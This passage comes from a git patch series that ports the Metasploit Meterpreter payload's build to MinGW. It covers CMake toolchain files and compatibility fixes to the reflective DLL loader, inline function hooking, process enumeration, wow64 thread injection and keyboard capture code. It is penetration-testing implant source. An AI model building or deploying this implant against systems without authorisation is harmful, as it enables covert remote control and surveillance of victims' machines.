-set(CMAKE_FIND_ROOT_PATH /usr/${CMAKE_TOOLCHAIN_PREFIX} /usr/local/${CMAKE_TOOLCHAIN_PREFIX})
-
-set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER)
-set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY)
-set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY)
-set(CMAKE_CROSS_COMPILING TRUE)
diff --git a/c/meterpreter/workspace/x86_64-w64-mingw32.cmake b/c/meterpreter/workspace/x86_64-w64-mingw32.cmake
new file mode 100644
index 00000000..837f3baa
--- /dev/null
+++ b/c/meterpreter/workspace/x86_64-w64-mingw32.cmake
@@ -0,0 +1,24 @@
+set(CMAKE_SYSTEM_NAME Windows)
+set(CMAKE_SYSTEM_PROCESSOR amd64)
+
+set(CMAKE_TOOLCHAIN_PREFIX "x86_64-w64-mingw32")
+
+find_program(CMAKE_MAKE_PROGRAM  NAMES make)
+find_program(CMAKE_RC_COMPILER  NAMES ${CMAKE_TOOLCHAIN_PREFIX}-windres)
+find_program(CMAKE_C_COMPILER   NAMES ${CMAKE_TOOLCHAIN_PREFIX}-gcc)
+find_program(CMAKE_CXX_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-g++)
+find_program(CMAKE_ASM_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-as)
+find_program(CMAKE_LINK_EXECUTABLE NAMES ${CMAKE_TOOLCHAIN_PREFIX}-ld)
+
+#set(CMAKE_C_COMPILER_EXTRAS "-target x86_64-w64-windows-enu -isystem /usr/${CMAKE_TOOLCHAIN_PREFIX}/include -isystem /usr/local/${CMAKE_TOOLCHAIN_PREFIX}/include -D_MSC_VER=${_MSC_VER} -fmsc-version=${_MSC_VER} -fms-extensions -fms-compatibility -fdelayed-template-parsing -Wfatal-errors -D__STDC__ -fuse-ld=${CMAKE_LINKER_EXECUTABLE}")
+#set(CMAKE_C_COMPILER   "ming32"   "${CMAKE_C_COMPILER_EXTRAS}")
+#set(CMAKE_CXX_COMPILER "ming32++" "${CMAKE_C_COMPILER_EXTRAS}")
+
+set(CMAKE_C_STANDARD 11)
+set(CMAKE_CXX_STANDARD 14)
+
+set(CMAKE_FIND_ROOT_PATH /usr/${CMAKE_TOOLCHAIN_PREFIX} /usr/local/${CMAKE_TOOLCHAIN_PREFIX})
+
+set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER)
+set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY)
+set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY)

From d820fb645841d735204d4070e86a8b4b0fbc62b5 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Thu, 21 May 2020 16:09:10 +1000
Subject: [PATCH 05/28] Get x86 working for metsrv

---
 c/meterpreter/Makefile                        | 13 +++++++++++-
 c/meterpreter/source/def/metsrv.def           |  2 +-
 c/meterpreter/source/metsrv/metsrv.c          |  1 -
 .../workspace/i686-w64-mingw32.cmake          | 20 +++++++++++++++++++
 .../workspace/x86_64-w64-mingw32.cmake        |  4 ----
 5 files changed, 33 insertions(+), 7 deletions(-)
 create mode 100644 c/meterpreter/workspace/i686-w64-mingw32.cmake

diff --git a/c/meterpreter/Makefile b/c/meterpreter/Makefile
index fd855696..f6e89996 100644
--- a/c/meterpreter/Makefile
+++ b/c/meterpreter/Makefile
@@ -3,7 +3,18 @@ all: meterpreter
 clean: meterpreter-x64-clean
 	@rm -rf workspace/build && rm -rf output/*.dll
 
-meterpreter: meterpreter-x64
+meterpreter: meterpreter-x86 meterpreter-x64
+
+meterpreter-x86: meterpreter-x86-gen meterpreter-x86-build
+
+meterpreter-x86-gen:
+	cmake -S workspace -B workspace/build/mingw-x86 -Wno-dev -DBUILD_SNIFFER=NO -DBUILD_ARCH=Win32 -DUSE_STATIC_MSVC_RUNTIMES=ON -DCMAKE_TOOLCHAIN_FILE=i686-w64-mingw32.cmake -DDBGTRACE=ON
+
+meterpreter-x86-build:
+	cmake --build workspace/build/mingw-x86 --config Release
+
+meterpreter-x86-clean:
+	@rm -rf workspace/build/mingw-x86
 
 meterpreter-x64: meterpreter-x64-gen meterpreter-x64-build
 
diff --git a/c/meterpreter/source/def/metsrv.def b/c/meterpreter/source/def/metsrv.def
index 4d04594e..d4343434 100644
--- a/c/meterpreter/source/def/metsrv.def
+++ b/c/meterpreter/source/def/metsrv.def
@@ -1,3 +1,3 @@
 NAME server.dll
 EXPORTS
-	ReflectiveLoader @1 NONAME PRIVATE
\ No newline at end of file
+	ReflectiveLoader @1 NONAME PRIVATE
diff --git a/c/meterpreter/source/metsrv/metsrv.c b/c/meterpreter/source/metsrv/metsrv.c
index 0777b872..80ca194f 100644
--- a/c/meterpreter/source/metsrv/metsrv.c
+++ b/c/meterpreter/source/metsrv/metsrv.c
@@ -9,7 +9,6 @@
 
 
 #define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
-#define RDIDLL_NOEXPORT
 #include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
 #include "../ReflectiveDLLInjection/inject/src/GetProcAddressR.c"
 #include "../ReflectiveDLLInjection/inject/src/LoadLibraryR.c"
diff --git a/c/meterpreter/workspace/i686-w64-mingw32.cmake b/c/meterpreter/workspace/i686-w64-mingw32.cmake
new file mode 100644
index 00000000..9bfa2d87
--- /dev/null
+++ b/c/meterpreter/workspace/i686-w64-mingw32.cmake
@@ -0,0 +1,20 @@
+set(CMAKE_SYSTEM_NAME Windows)
+set(CMAKE_SYSTEM_PROCESSOR i686)
+
+set(CMAKE_TOOLCHAIN_PREFIX "i686-w64-mingw32")
+
+find_program(CMAKE_MAKE_PROGRAM  NAMES make)
+find_program(CMAKE_RC_COMPILER  NAMES ${CMAKE_TOOLCHAIN_PREFIX}-windres)
+find_program(CMAKE_C_COMPILER   NAMES ${CMAKE_TOOLCHAIN_PREFIX}-gcc)
+find_program(CMAKE_CXX_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-g++)
+find_program(CMAKE_ASM_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-as)
+find_program(CMAKE_LINK_EXECUTABLE NAMES ${CMAKE_TOOLCHAIN_PREFIX}-ld)
+
+set(CMAKE_C_STANDARD 11)
+set(CMAKE_CXX_STANDARD 14)
+
+set(CMAKE_FIND_ROOT_PATH /usr/${CMAKE_TOOLCHAIN_PREFIX} /usr/local/${CMAKE_TOOLCHAIN_PREFIX})
+
+set(CMAKE_FIND_ROOT_PATH_MODE_PROGRAM NEVER)
+set(CMAKE_FIND_ROOT_PATH_MODE_LIBRARY ONLY)
+set(CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY)
diff --git a/c/meterpreter/workspace/x86_64-w64-mingw32.cmake b/c/meterpreter/workspace/x86_64-w64-mingw32.cmake
index 837f3baa..f8c21b24 100644
--- a/c/meterpreter/workspace/x86_64-w64-mingw32.cmake
+++ b/c/meterpreter/workspace/x86_64-w64-mingw32.cmake
@@ -10,10 +10,6 @@ find_program(CMAKE_CXX_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-g++)
 find_program(CMAKE_ASM_COMPILER NAMES ${CMAKE_TOOLCHAIN_PREFIX}-as)
 find_program(CMAKE_LINK_EXECUTABLE NAMES ${CMAKE_TOOLCHAIN_PREFIX}-ld)
 
-#set(CMAKE_C_COMPILER_EXTRAS "-target x86_64-w64-windows-enu -isystem /usr/${CMAKE_TOOLCHAIN_PREFIX}/include -isystem /usr/local/${CMAKE_TOOLCHAIN_PREFIX}/include -D_MSC_VER=${_MSC_VER} -fmsc-version=${_MSC_VER} -fms-extensions -fms-compatibility -fdelayed-template-parsing -Wfatal-errors -D__STDC__ -fuse-ld=${CMAKE_LINKER_EXECUTABLE}")
-#set(CMAKE_C_COMPILER   "ming32"   "${CMAKE_C_COMPILER_EXTRAS}")
-#set(CMAKE_CXX_COMPILER "ming32++" "${CMAKE_C_COMPILER_EXTRAS}")
-
 set(CMAKE_C_STANDARD 11)
 set(CMAKE_CXX_STANDARD 14)
 

From dee84d6ca9fb0e1409d1ed9a5fabd5c8b3a275bd Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Thu, 21 May 2020 16:13:57 +1000
Subject: [PATCH 06/28] Fix small compiler warning

---
 c/meterpreter/source/metsrv/libloader.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/c/meterpreter/source/metsrv/libloader.c b/c/meterpreter/source/metsrv/libloader.c
index 2bbc0f4a..517e2f8e 100644
--- a/c/meterpreter/source/metsrv/libloader.c
+++ b/c/meterpreter/source/metsrv/libloader.c
@@ -348,7 +348,7 @@ void patch_function(SHELLCODE_CTX *ctx, UINT_PTR address, unsigned char *stub,
 
 	/* Insert jump */
 	*(PBYTE)address = 0xE9;
-	*(DWORD *)(address + 1) = (DWORD_PTR)hook - ((DWORD_PTR)address + 5);
+	*(DWORD *)(address + 1) = (DWORD)((DWORD_PTR)hook - ((DWORD_PTR)address + 5));
 
 
 	/* Restore protection */

From effe6b9827647297ce2e09255dfb9e936dd73c9f Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Fri, 22 May 2020 12:01:19 +1000
Subject: [PATCH 07/28] Lots of changes + stdapi support

---
 c/meterpreter/source/common/common.h          |    2 +
 .../extensions/stdapi/server/fs/search.c      |    8 +-
 .../extensions/stdapi/server/fs/search.h      |    2 +-
 .../stdapi/server/net/config/netstat.c        |    4 +-
 .../stdapi/server/net/socket/tcp_server.c     |    3 +-
 .../stdapi/server/sys/config/config.c         |    4 +-
 .../stdapi/server/sys/process/image.c         |   33 +-
 .../stdapi/server/sys/process/process.c       |   35 +-
 .../stdapi/server/sys/process/thread.c        |    6 +-
 .../extensions/stdapi/server/ui/keyboard.c    |    2 +-
 .../extensions/stdapi/server/ui/keyboard.h    |   21 +-
 c/meterpreter/source/metsrv/metsrv.c          |    1 +
 c/meterpreter/source/metsrv/remote_dispatch.c |   11 +
 c/meterpreter/source/mingw-include/filtereg.h |  379 ++
 .../source/mingw-include/searchapi.h          | 5446 +++++++++++++++++
 .../source/mingw-include/structuredquery.h    | 2579 ++++++++
 .../mingw-include/structuredquerycondition.h  |  770 +++
 c/meterpreter/workspace/CMakeLists.txt        |   64 +-
 .../ext_server_stdapi/CMakeLists.txt          |   23 +-
 .../workspace/i686-w64-mingw32.cmake          |    2 +-
 c/meterpreter/workspace/metsrv/CMakeLists.txt |    2 +-
 .../workspace/x86_64-w64-mingw32.cmake        |    2 +-
 22 files changed, 9315 insertions(+), 84 deletions(-)
 create mode 100644 c/meterpreter/source/mingw-include/filtereg.h
 create mode 100644 c/meterpreter/source/mingw-include/searchapi.h
 create mode 100644 c/meterpreter/source/mingw-include/structuredquery.h
 create mode 100644 c/meterpreter/source/mingw-include/structuredquerycondition.h

diff --git a/c/meterpreter/source/common/common.h b/c/meterpreter/source/common/common.h
index d8ba8a28..9e9e037f 100755
--- a/c/meterpreter/source/common/common.h
+++ b/c/meterpreter/source/common/common.h
@@ -30,6 +30,8 @@
 #endif
 
 #ifdef __MINGW32__
+#define ERROR_DBG_TERMINATE_THREAD       691L
+#define ERROR_UNHANDLED_EXCEPTION        574L
 #define ERROR_UNSUPPORTED_COMPRESSION    618L
 #define __try
 #define __except(x) if(0)
diff --git a/c/meterpreter/source/extensions/stdapi/server/fs/search.c b/c/meterpreter/source/extensions/stdapi/server/fs/search.c
index 1d5b0c8e..201b976c 100644
--- a/c/meterpreter/source/extensions/stdapi/server/fs/search.c
+++ b/c/meterpreter/source/extensions/stdapi/server/fs/search.c
@@ -16,6 +16,12 @@
 #include "fs_local.h"
 #include "search.h"
 
+#ifdef __MINGW32__
+const GUID MET_DBGUID_DEFAULT = {0xc8b521fb,0x5cf3,0x11ce,{0xad,0xe5,0x00,0xaa,0x00,0x44,0x77,0x3d}};
+#else
+#define MET_DBGUID_DEFAULT DBGUID_DEFAULT
+#endif
+
 /*
  * Helper function to add a search result to the response packet.
  */
@@ -583,7 +589,7 @@ DWORD wds3_search(WDS_INTERFACE * pWDSInterface, wchar_t * wpProtocol, wchar_t *
 		OutputDebugStringW(wpSQL);
 #endif
 
-		hr = ICommandText_SetCommandText(pCommandText, &DBGUID_DEFAULT, wpSQL);
+		hr = ICommandText_SetCommandText(pCommandText, &MET_DBGUID_DEFAULT, wpSQL);
 		if (FAILED(hr)) {
 			BREAK_WITH_ERROR("[SEARCH] wds3_search: ICommandText_SetCommandText Failed", hr);
 		}
diff --git a/c/meterpreter/source/extensions/stdapi/server/fs/search.h b/c/meterpreter/source/extensions/stdapi/server/fs/search.h
index a33bb272..f24ee6b1 100644
--- a/c/meterpreter/source/extensions/stdapi/server/fs/search.h
+++ b/c/meterpreter/source/extensions/stdapi/server/fs/search.h
@@ -2,7 +2,7 @@
 #define _METERPRETER_SOURCE_EXTENSION_STDAPI_STDAPI_SERVER_FS_SEARCH_H
 
 #include <shlwapi.h>
-#include <Searchapi.h>
+#include <searchapi.h>
 #include <msdasc.h>
 #include <ntquery.h>
 #include <cmdtree.h>
diff --git a/c/meterpreter/source/extensions/stdapi/server/net/config/netstat.c b/c/meterpreter/source/extensions/stdapi/server/net/config/netstat.c
index 5076c431..90923f0b 100644
--- a/c/meterpreter/source/extensions/stdapi/server/net/config/netstat.c
+++ b/c/meterpreter/source/extensions/stdapi/server/net/config/netstat.c
@@ -103,6 +103,7 @@ char *tcp_connection_states[] = {
    "", "CLOSED", "LISTEN", "SYN_SENT", "SYN_RECV", "ESTABLISHED", "FIN_WAIT1", "FIN_WAIT2", "CLOSE_WAIT",
    "CLOSING", "LAST_ACK", "TIME_WAIT", "DELETE_TCB", "UNKNOWN" };
 
+#ifndef __MINGW32__
 typedef struct _MIB_TCP6ROW_OWNER_MODULE {
   UCHAR         ucLocalAddr[16];
   DWORD         dwLocalScopeId;
@@ -141,12 +142,13 @@ typedef struct {
   MIB_UDP6ROW_OWNER_MODULE table[ANY_SIZE];
 } MIB_UDP6TABLE_OWNER_MODULE, *PMIB_UDP6TABLE_OWNER_MODULE;
 
+#endif
+
 typedef DWORD (WINAPI * ptr_GetExtendedTcpTable)(PVOID, PDWORD pdwSize, BOOL bOrder, ULONG ulAf,TCP_TABLE_CLASS TableClass,
 ULONG Reserved);
 typedef DWORD (WINAPI * ptr_GetExtendedUdpTable)(PVOID, PDWORD pdwSize, BOOL bOrder, ULONG ulAf,TCP_TABLE_CLASS TableClass,
 ULONG Reserved);
 
-
 /*
  * retrieve tcp table for win 2000 and NT4 ?
  */
diff --git a/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp_server.c b/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp_server.c
index 5226f171..2976d1b8 100755
--- a/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp_server.c
+++ b/c/meterpreter/source/extensions/stdapi/server/net/socket/tcp_server.c
@@ -14,7 +14,8 @@
 #ifndef IPPROTO_IPV6
 #define IPPROTO_IPV6 41
 #endif
-#ifndef in6addr_any
+
+#if !defined(in6addr_any) && !defined(__MINGW32__)
 extern IN6_ADDR in6addr_any;
 #endif
 
diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/config/config.c b/c/meterpreter/source/extensions/stdapi/server/sys/config/config.c
index 2b6c76fd..43a9389d 100755
--- a/c/meterpreter/source/extensions/stdapi/server/sys/config/config.c
+++ b/c/meterpreter/source/extensions/stdapi/server/sys/config/config.c
@@ -1,8 +1,8 @@
 #include "precomp.h"
 #include "common_metapi.h"
 
-#include <Sddl.h>
-#include <Lm.h>
+#include <sddl.h>
+#include <lm.h>
 #include <psapi.h>
 
 typedef NTSTATUS(WINAPI *PRtlGetVersion)(LPOSVERSIONINFOEXW);
diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c
index 7aa928d5..9c000a37 100644
--- a/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c
+++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c
@@ -183,6 +183,10 @@ DWORD request_sys_process_image_unload(Remote *remote, Packet *packet)
 	return ERROR_SUCCESS;
 }
 
+typedef BOOL (WINAPI *PEnumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb, LPDWORD needed);
+typedef DWORD (WINAPI *PGetModuleBaseName)(HANDLE p, HMODULE mod, LPTSTR base, DWORD baseSize);
+typedef DWORD (WINAPI *PGetModuleFileNameEx)(HANDLE p, HMODULE mod, LPTSTR path, DWORD pathSize);
+
 /*
  * Returns a list of all of the loaded image files and their base addresses to
  * the requestor.
@@ -191,11 +195,6 @@ DWORD request_sys_process_image_unload(Remote *remote, Packet *packet)
  */
 DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet)
 {
-	BOOL (WINAPI *enumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb, LPDWORD needed);
-	DWORD (WINAPI *getModuleBaseName)(HANDLE p, HMODULE mod, LPTSTR base, 
-			DWORD baseSize);
-	DWORD (WINAPI *getModuleFileNameEx)(HANDLE p, HMODULE mod, LPTSTR path,
-			DWORD pathSize);
 	Packet *response = met_api->packet.create_response(packet);
 	HMODULE *modules = NULL;
 	BOOLEAN valid = FALSE;
@@ -204,6 +203,9 @@ DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet)
 	DWORD result = ERROR_SUCCESS;
 	DWORD needed = 0, actual, tries = 0;
 	DWORD index;
+	PEnumProcessModules enumProcessModules = NULL;
+	PGetModuleBaseName getModuleBaseName = NULL;
+	PGetModuleFileNameEx getModuleFileNameEx = NULL;
 
 	handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE);
 
@@ -215,22 +217,31 @@ DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet)
 		
 		// Open the process API
 		if (!(psapi = LoadLibrary("psapi")))
+		{
+			result = GetLastError();
 			break;
+		}
 
 		// Try to resolve the address of EnumProcessModules
-		if (!((LPVOID)enumProcessModules = 
-				(LPVOID)GetProcAddress(psapi, "EnumProcessModules")))
+		if (!(enumProcessModules = (PEnumProcessModules)GetProcAddress(psapi, "EnumProcessModules")))
+		{
+			result = GetLastError();
 			break;
+		}
 
 		// Try to resolve the address of GetModuleBaseNameA
-		if (!((LPVOID)getModuleBaseName = 
-				(LPVOID)GetProcAddress(psapi, "GetModuleBaseNameA")))
+		if (!(getModuleBaseName = (PGetModuleBaseName)GetProcAddress(psapi, "GetModuleBaseNameA")))
+		{
+			result = GetLastError();
 			break;
+		}
 
 		// Try to resolve the address of GetModuleFileNameExA
-		if (!((LPVOID)getModuleFileNameEx = 
-				(LPVOID)GetProcAddress(psapi, "GetModuleFileNameExA")))
+		if (!(getModuleFileNameEx = (PGetModuleFileNameEx)GetProcAddress(psapi, "GetModuleFileNameExA")))
+		{
+			result = GetLastError();
 			break;
+		}
 
 		// Validate parameters
 		if (!handle)
diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/process.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/process.c
index aed4b300..841c14df 100644
--- a/c/meterpreter/source/extensions/stdapi/server/sys/process/process.c
+++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/process.c
@@ -5,6 +5,9 @@
 #include "./../session.h"
 #include "in-mem-exe.h" /* include skapetastic in-mem exe exec */
 
+typedef BOOL (WINAPI *PEnumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb, LPDWORD needed);
+typedef DWORD (WINAPI *PGetModuleBaseName)(HANDLE p, HMODULE mod, LPTSTR base, DWORD baseSize);
+typedef DWORD (WINAPI *PGetModuleFileNameEx)(HANDLE p, HMODULE mod, LPTSTR path, DWORD pathSize);
 
 typedef BOOL (STDMETHODCALLTYPE FAR * LPFNCREATEENVIRONMENTBLOCK)( LPVOID  *lpEnvironment, HANDLE  hToken, BOOL bInherit );
 typedef BOOL (STDMETHODCALLTYPE FAR * LPFNDESTROYENVIRONMENTBLOCK) ( LPVOID lpEnvironment );
@@ -729,13 +732,9 @@ DWORD request_sys_process_get_info(Remote *remote, Packet *packet)
 {
 	Packet *response = met_api->packet.create_response(packet);
 
-
-	BOOL (WINAPI *enumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb,
-			LPDWORD needed);
-	DWORD (WINAPI *getModuleBaseName)(HANDLE p, HMODULE mod, LPWSTR base,
-			DWORD baseSize);
-	DWORD (WINAPI *getModuleFileNameEx)(HANDLE p, HMODULE mod, LPWSTR path,
-			DWORD pathSize);
+	PEnumProcessModules enumProcessModules = NULL;
+	PGetModuleBaseName getModuleBaseName = NULL;
+	PGetModuleFileNameEx getModuleFileNameEx = NULL;
 
 	HMODULE mod;
 	HANDLE psapi = NULL;
@@ -769,13 +768,21 @@ DWORD request_sys_process_get_info(Remote *remote, Packet *packet)
 			break;
 		}
 
-		// Try to resolve the necessary symbols
-		if ((!((LPVOID)enumProcessModules =
-				(LPVOID)GetProcAddress(psapi, "EnumProcessModules"))) ||
-		    (!((LPVOID)getModuleBaseName =
-				(LPVOID)GetProcAddress(psapi, "GetModuleBaseNameW"))) ||
-		    (!((LPVOID)getModuleFileNameEx =
-				(LPVOID)GetProcAddress(psapi, "GetModuleFileNameExW"))))
+		if (!(enumProcessModules = (PEnumProcessModules)GetProcAddress(psapi, "EnumProcessModules")))
+		{
+			result = GetLastError();
+			break;
+		}
+
+		// Try to resolve the address of GetModuleBaseNameA
+		if (!(getModuleBaseName = (PGetModuleBaseName)GetProcAddress(psapi, "GetModuleBaseNameA")))
+		{
+			result = GetLastError();
+			break;
+		}
+
+		// Try to resolve the address of GetModuleFileNameExA
+		if (!(getModuleFileNameEx = (PGetModuleFileNameEx)GetProcAddress(psapi, "GetModuleFileNameExA")))
 		{
 			result = GetLastError();
 			break;
diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/thread.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/thread.c
index 93dd666c..0970d831 100644
--- a/c/meterpreter/source/extensions/stdapi/server/sys/process/thread.c
+++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/thread.c
@@ -7,7 +7,7 @@ VOID set_thread_register_value(LPCONTEXT, LPCSTR name, ULONG value);
 typedef BOOL (WINAPI *PISWOW64PROCESS)(HANDLE, PBOOL);
 static PISWOW64PROCESS pIsWow64Process = NULL;
 
-BOOL IsWow64Process(HANDLE hProcess)
+BOOL LocalIsWow64Process(HANDLE hProcess)
 {
 	BOOL result = FALSE;
 
@@ -118,8 +118,8 @@ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet)
 
 			if (dwResult == ERROR_ACCESS_DENIED
 				&& dwMeterpreterArch == PROCESS_ARCH_X86
-				&& IsWow64Process(GetCurrentProcess())
-				&& !IsWow64Process(hProcess))
+				&& LocalIsWow64Process(GetCurrentProcess())
+				&& !LocalIsWow64Process(hProcess))
 			{
 				dprintf("[THREAD CREATE] Target is x64, attempting wow64 injection");
 
diff --git a/c/meterpreter/source/extensions/stdapi/server/ui/keyboard.c b/c/meterpreter/source/extensions/stdapi/server/ui/keyboard.c
index 526b0d16..26e9ee3d 100644
--- a/c/meterpreter/source/extensions/stdapi/server/ui/keyboard.c
+++ b/c/meterpreter/source/extensions/stdapi/server/ui/keyboard.c
@@ -2,7 +2,7 @@
 #include "common_metapi.h"
 #include "keyboard.h"
 #include <tchar.h>
-#include <Psapi.h>
+#include <psapi.h>
 
 extern HMODULE hookLibrary;
 extern HINSTANCE hAppInstance;
diff --git a/c/meterpreter/source/extensions/stdapi/server/ui/keyboard.h b/c/meterpreter/source/extensions/stdapi/server/ui/keyboard.h
index d581661c..ff16430e 100644
--- a/c/meterpreter/source/extensions/stdapi/server/ui/keyboard.h
+++ b/c/meterpreter/source/extensions/stdapi/server/ui/keyboard.h
@@ -17,6 +17,8 @@
 * Raw Input Messages.
 */
 
+#ifndef __MINGW32__
+
 DECLARE_HANDLE(HRAWINPUT);
 
 /*
@@ -138,18 +140,19 @@ typedef struct tagRAWINPUT {
 	} data;
 } RAWINPUT, *PRAWINPUT, *LPRAWINPUT;
 
+#endif
 
 typedef UINT(WINAPI *f_GetRawInputData)(
-	__in HRAWINPUT hRawInput,
-	__in UINT uiCommand,
-	__out_bcount_part_opt(*pcbSize, return) LPVOID pData,
-	__inout PUINT pcbSize,
-	__in UINT cbSizeHeader);
+	HRAWINPUT hRawInput,
+	UINT uiCommand,
+	LPVOID pData,
+	PUINT pcbSize,
+	UINT cbSizeHeader);
 
 typedef BOOL(WINAPI *f_RegisterRawInputDevices)(
-	__in_ecount(uiNumDevices) PCRAWINPUTDEVICE pRawInputDevices,
-	__in UINT uiNumDevices,
-	__in UINT cbSize);
+	PCRAWINPUTDEVICE pRawInputDevices,
+	UINT uiNumDevices,
+	UINT cbSize);
 
 typedef DWORD(WINAPI *f_QueryFullProcessImageNameW) (HANDLE, DWORD, LPTSTR, PDWORD);
-typedef DWORD(WINAPI *f_GetProcessImageFileNameW) (HANDLE, LPTSTR, DWORD);
\ No newline at end of file
+typedef DWORD(WINAPI *f_GetProcessImageFileNameW) (HANDLE, LPTSTR, DWORD);
diff --git a/c/meterpreter/source/metsrv/metsrv.c b/c/meterpreter/source/metsrv/metsrv.c
index 80ca194f..0777b872 100644
--- a/c/meterpreter/source/metsrv/metsrv.c
+++ b/c/meterpreter/source/metsrv/metsrv.c
@@ -9,6 +9,7 @@
 
 
 #define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
+#define RDIDLL_NOEXPORT
 #include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
 #include "../ReflectiveDLLInjection/inject/src/GetProcAddressR.c"
 #include "../ReflectiveDLLInjection/inject/src/LoadLibraryR.c"
diff --git a/c/meterpreter/source/metsrv/remote_dispatch.c b/c/meterpreter/source/metsrv/remote_dispatch.c
index d36d3ac7..c9f082eb 100644
--- a/c/meterpreter/source/metsrv/remote_dispatch.c
+++ b/c/meterpreter/source/metsrv/remote_dispatch.c
@@ -312,12 +312,15 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
 	PCHAR libraryPath;
 	DWORD flags = 0;
 	BOOL bLibLoadedReflectivly = FALSE;
+  dprintf("[LOADLIB] here 1");
 
 	Command *first = extensionCommands;
 
 	do
 	{
+  dprintf("[LOADLIB] here 2");
 		libraryPath = packet_get_tlv_value_string(packet, TLV_TYPE_LIBRARY_PATH);
+  dprintf("[LOADLIB] here 3");
 		flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
 
 		// Invalid library path?
@@ -326,6 +329,7 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
 			res = ERROR_INVALID_PARAMETER;
 			break;
 		}
+  dprintf("[LOADLIB] here 4");
 
 		// If the lib does not exist locally, but is being uploaded...
 		if (!(flags & LOAD_LIBRARY_FLAG_LOCAL))
@@ -333,6 +337,7 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
 			PCHAR targetPath;
 			Tlv dataTlv;
 
+  dprintf("[LOADLIB] here 5");
 			// Get the library's file contents
 			if ((packet_get_tlv(packet, TLV_TYPE_DATA,
 				&dataTlv) != ERROR_SUCCESS) ||
@@ -343,13 +348,16 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
 				break;
 			}
 
+  dprintf("[LOADLIB] here 6");
 			// If the library is not to be stored on disk, 
 			if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK))
 			{
 				LPCSTR reflectiveLoader = packet_get_tlv_value_reflective_loader(packet);
+  dprintf("[LOADLIB] here 7");
 
 				// try to load the library via its reflective loader...
 				library = LoadLibraryR(dataTlv.buffer, dataTlv.header.length, reflectiveLoader);
+  dprintf("[LOADLIB] here 8");
 				if (library == NULL)
 				{
 					// if that fails, presumably besause the library doesn't support
@@ -361,6 +369,7 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
 				{
 					bLibLoadedReflectivly = TRUE;
 				}
+  dprintf("[LOADLIB] here 9");
 
 				res = (library) ? ERROR_SUCCESS : ERROR_NOT_FOUND;
 			}
@@ -396,10 +405,12 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
 
 	} while (0);
 
+  dprintf("[LOADLIB] here 10");
 	if (response)
 	{
 		packet_transmit_response(res, remote, response);
 	}
+  dprintf("[LOADLIB] here 11");
 
 	return res;
 }
diff --git a/c/meterpreter/source/mingw-include/filtereg.h b/c/meterpreter/source/mingw-include/filtereg.h
new file mode 100644
index 00000000..1572cb9e
--- /dev/null
+++ b/c/meterpreter/source/mingw-include/filtereg.h
@@ -0,0 +1,379 @@
+
+
+/* this ALWAYS GENERATED file contains the definitions for the interfaces */
+
+
+ /* File created by MIDL compiler version 8.01.0622 */
+/* @@MIDL_FILE_HEADING(  ) */
+
+
+
+/* verify that the <rpcndr.h> version is high enough to compile this file*/
+#ifndef __REQUIRED_RPCNDR_H_VERSION__
+#define __REQUIRED_RPCNDR_H_VERSION__ 500
+#endif
+
+/* verify that the <rpcsal.h> version is high enough to compile this file*/
+#ifndef __REQUIRED_RPCSAL_H_VERSION__
+#define __REQUIRED_RPCSAL_H_VERSION__ 100
+#endif
+
+#include "rpc.h"
+#include "rpcndr.h"
+
+#ifndef __RPCNDR_H_VERSION__
+#error this stub requires an updated version of <rpcndr.h>
+#endif /* __RPCNDR_H_VERSION__ */
+
+#ifndef COM_NO_WINDOWS_H
+#include "windows.h"
+#include "ole2.h"
+#endif /*COM_NO_WINDOWS_H*/
+
+#ifndef __filtereg_h__
+#define __filtereg_h__
+
+#if defined(_MSC_VER) && (_MSC_VER >= 1020)
+#pragma once
+#endif
+
+/* Forward Declarations */ 
+
+#ifndef __ILoadFilter_FWD_DEFINED__
